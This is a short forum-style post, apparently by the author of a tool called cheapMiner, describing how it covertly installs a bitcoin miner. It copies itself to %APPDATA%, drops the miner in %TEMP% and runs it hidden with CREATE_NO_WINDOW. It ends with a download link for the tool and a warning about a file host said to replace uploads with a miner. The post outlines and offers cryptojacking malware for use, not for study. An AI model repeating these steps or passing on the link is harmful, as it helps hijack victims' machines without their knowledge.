Extract a bitcoin miner from ressource:
Copy cheapMiner to %APPDATA%
Copy the bitcoin miner to %TEMP%
Launch the bitcoin miner with parameters of cheapMiner and the flag on CREATE_NO_WINDOW
Cheap, simple and detected as fuck :)
Also stay away of up2x.com they replace your uploaded files (png,jpeg,jpg,gif,txt,zip,exe,rar,7z,pdf,scr,psd) by a bitcoin miner.
And if you look for cheapMiner: http://temari.fr/cheapminer.zip